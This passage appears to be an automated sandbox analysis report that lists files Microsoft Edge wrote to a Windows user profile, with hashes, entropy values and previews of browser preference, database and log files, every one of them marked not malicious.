Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376516737492575","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cadd6980-168c-4b1d-a920-36a62e50c51e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10139
Entropy (8bit):	5.11786942709237
Encrypted:	false
SSDEEP:	192:st3kdp5sE5DyaNP9kTJEm8MbV+FbHQwq35PfYJ:st3Q5sE5DtJCbGbQwT
MD5:	7D61CCB3F6EE3263C6A94BA1C525F257
SHA1:	C836594F7CE720DCE816FF9F973BC87EA1EFFAE5
SHA-256:	3C48927F191B4D44139EDE4519A6032233D530E8513F4C0FF193477B4F1E58F3
SHA-512:	3E017FC020E48B25A6238A15459B311AB7F0236B34EBB79CCAF92FCAF6D14284437F94B168DBDFD48BD12430AF2C0BE2594B7C0F625298E13E65CEF035B9066F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376516737492575","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ee8d0e40-1de3-43ae-9072-02be7cff5902.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10259947401677846
Encrypted:	false
SSDEEP:	12:+zx+zxzspEjVl/PnnnnnnnnnnnvoQ/Eou:+wqoPnnnnnnnnnnnv1j
MD5:	45FD003F755E207E1C8CD53E7E5E23A6
SHA1:	3351AC0360E59D4C31E560D188C74BDCBB73ACD9
SHA-256:	71ADFC2A7C023D5BF9C7E46BE358857B86B8D89CFE30E71A1733078494B03890
SHA-512:	A22C7C51F2207E1B4242872CFC5234355A4C6568AEA211D1ACB439B3AEEAF444585C77C80F5A3962DDD27A35ACF3E0406F7FEF389A8DCB54D10B08FB5022AC4D
Malicious:	false
Preview:	..-.............M.......!..b..@O3.-..........R.t..-.............M.......!..b..@O3.-..........R.t........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8839780813096026
Encrypted:	false
SSDEEP:	384:R2wdrdikDR/NPkma/LkYx/rk7X/Mk2l/Nk8RP/sk/U//k0o1E/tkYv8KyzywIysW:FIkTkzkMkQkEkPkGkQk3N
MD5:	005D788BD68DDD0F752195952813882D
SHA1:	1A8FBF957D9BF84794F47947FCBF4FBB3F1A09CE
SHA-256:	9FCC675B5A061242395B8A78241F57F656AC3E4FB1088971165D1A943372C602
SHA-512:	06BEF80FD2D168915B26B0E01694C3AE8B56B7110077959DA131578A8D8C759034C586A3EA60FEC99D72E6D226F72EDA7825A0134CE8A5B648FE576BF402C197
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.039466628803989
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuugBillIU/svDZmfsedhOk:llc8BOuuuuuuuuuu1llLk1mE8t
MD5:	1F1EF3D42D6E4E35B97ACBD526ACFCB4
SHA1:	E3D0270CDFF451B024E34F331445B027A14FF100
SHA-256:	937096FA691B44CEB4EA3E081FFE86457D69FA1DF28CBE657B86BE97109C5894
SHA-512:	8B6C46CDA11CAC2300E3E1962B8728B6D9DFC5122E9DEA404E09D0C08C5944ED7E984F817B4F452E9E9F63C9613F2D8FDF9BBB219DADF186804D4D67C944B640
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=..................4;...............#38_h.......6.Z..W.F.....Mr......Mr...........V.e................V.e..................I70................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.243855630616442
Encrypted:	false
SSDEEP:	6:HU4S0Oq2PcNwi23oH+TcwtfrK+IFUt8YU4SrZmw+YU4ShkwOcNwi23oH+TcwtfrF:00OvLZYeb23FUt8Zr/+Zh54ZYeb3J
MD5:	9DAC233AF98485DD3A7BDCC096670541
SHA1:	F9D04DBC7AD98A4A8C85A64F9AA7EDC2530394B4
SHA-256:	20B2E7A45DAF11264F5E1D33749A92A2030F1C282C4533AD8AF45E44A0616D8D
SHA-512:	EA81D042F7185038C0BD2C8932B93596B4F1B96F27879845C4E46EC9362BCDBB0E8AE0CC27FB97FCB7F1A281334455DB3F4D7A177975342EB041E2B9B919910A
Malicious:	false
Preview:	2024/11/19-14:05:37.512 1b24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/19-14:05:37.513 1b24 Recovering log #3.2024/11/19-14:05:37.513 1b24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.243855630616442
Encrypted:	false
SSDEEP:	6:HU4S0Oq2PcNwi23oH+TcwtfrK+IFUt8YU4SrZmw+YU4ShkwOcNwi23oH+TcwtfrF:00OvLZYeb23FUt8Zr/+Zh54ZYeb3J
MD5:	9DAC233AF98485DD3A7BDCC096670541
SHA1:	F9D04DBC7AD98A4A8C85A64F9AA7EDC2530394B4
SHA-256:	20B2E7A45DAF11264F5E1D33749A92A2030F1C282C4533AD8AF45E44A0616D8D
SHA-512:	EA81D042F7185038C0BD2C8932B93596B4F1B96F27879845C4E46EC9362BCDBB0E8AE0CC27FB97FCB7F1A281334455DB3F4D7A177975342EB041E2B9B919910A
Malicious:	false
Preview:	2024/11/19-14:05:37.512 1b24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/19-14:05:37.513 1b24 Recovering log #3.2024/11/19-14:05:37.513 1b24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.24577121618157
Encrypted:	false
SSDEEP:	6:HU4SKq2PcNwi23oH+TcwtfrzAdIFUt8YU4SktZmw+YU4SkfkwOcNwi23oH+TcwtS:0KvLZYeb9FUt8Zkt/+Zkf54ZYeb2J
MD5:	FA102070D804CB0F37B68E85A971459D
SHA1:	32D0C32E6CE68FCD283B96158A2BD004402B23FD
SHA-256:	291E1CAB45D451056BD6573D59FADC64C2C221A4AB66D93ABE1DE3DCAC3A5A11
SHA-512:	1F5362EB5EF3E283BC2CE0FDF40F36C92F09460BD875A2C48B7E2D0E7488A58B671FBD482ACD4DD40A19C5516C6AFFB26EA177FB676150D84C84D65728036D21
Malicious:	false
Preview:	2024/11/19-14:05:37.508 1b24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/19-14:05:37.509 1b24 Recovering log #3.2024/11/19-14:05:37.509 1b24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.24577121618157
Encrypted:	false
SSDEEP:	6:HU4SKq2PcNwi23oH+TcwtfrzAdIFUt8YU4SktZmw+YU4SkfkwOcNwi23oH+TcwtS:0KvLZYeb9FUt8Zkt/+Zkf54ZYeb2J
MD5:	FA102070D804CB0F37B68E85A971459D
SHA1:	32D0C32E6CE68FCD283B96158A2BD004402B23FD
SHA-256:	291E1CAB45D451056BD6573D59FADC64C2C221A4AB66D93ABE1DE3DCAC3A5A11
SHA-512:	1F5362EB5EF3E283BC2CE0FDF40F36C92F09460BD875A2C48B7E2D0E7488A58B671FBD482ACD4DD40A19C5516C6AFFB26EA177FB676150D84C84D65728036D21
Malicious:	false
Preview:	2024/11/19-14:05:37.508 1b24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/19-14:05:37.509 1b24 Recovering log #3.2024/11/19-14:05:37.509 1b24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558310544793
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SJtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynRt5b7VLyMV/YoskFoz
MD5:	121356E36BD103A2B61B02B24E341DC3
SHA1:	CF8D955156DF0916BD106EA4073ED312B40B76E6
SHA-256:	E75E3E0A5DF792AA772210798BFAA61B88AE97948FEA87577EF9AF2B82E65E7D
SHA-512:	A8D62BDDBF78CF89C3F5DBB1C450569BD7443CF412784331E651A34DCA347CD8B4C8F35EAF708B05A35728D823EE340F4DD7D342248D46D709BD497F75984DE9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24ced.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558310544793
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SJtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynRt5b7VLyMV/YoskFoz
MD5:	121356E36BD103A2B61B02B24E341DC3
SHA1:	CF8D955156DF0916BD106EA4073ED312B40B76E6
SHA-256:	E75E3E0A5DF792AA772210798BFAA61B88AE97948FEA87577EF9AF2B82E65E7D
SHA-512:	A8D62BDDBF78CF89C3F5DBB1C450569BD7443CF412784331E651A34DCA347CD8B4C8F35EAF708B05A35728D823EE340F4DD7D342248D46D709BD497F75984DE9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24e74.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558310544793
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SJtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynRt5b7VLyMV/YoskFoz
MD5:	121356E36BD103A2B61B02B24E341DC3
SHA1:	CF8D955156DF0916BD106EA4073ED312B40B76E6
SHA-256:	E75E3E0A5DF792AA772210798BFAA61B88AE97948FEA87577EF9AF2B82E65E7D
SHA-512:	A8D62BDDBF78CF89C3F5DBB1C450569BD7443CF412784331E651A34DCA347CD8B4C8F35EAF708B05A35728D823EE340F4DD7D342248D46D709BD497F75984DE9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF27565.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558310544793
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SJtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynRt5b7VLyMV/YoskFoz
MD5:	121356E36BD103A2B61B02B24E341DC3
SHA1:	CF8D955156DF0916BD106EA4073ED312B40B76E6
SHA-256:	E75E3E0A5DF792AA772210798BFAA61B88AE97948FEA87577EF9AF2B82E65E7D
SHA-512:	A8D62BDDBF78CF89C3F5DBB1C450569BD7443CF412784331E651A34DCA347CD8B4C8F35EAF708B05A35728D823EE340F4DD7D342248D46D709BD497F75984DE9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2a05d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558310544793
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SJtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynRt5b7VLyMV/YoskFoz
MD5:	121356E36BD103A2B61B02B24E341DC3
SHA1:	CF8D955156DF0916BD106EA4073ED312B40B76E6
SHA-256:	E75E3E0A5DF792AA772210798BFAA61B88AE97948FEA87577EF9AF2B82E65E7D
SHA-512:	A8D62BDDBF78CF89C3F5DBB1C450569BD7443CF412784331E651A34DCA347CD8B4C8F35EAF708B05A35728D823EE340F4DD7D342248D46D709BD497F75984DE9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35f76.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558310544793
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SJtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynRt5b7VLyMV/YoskFoz
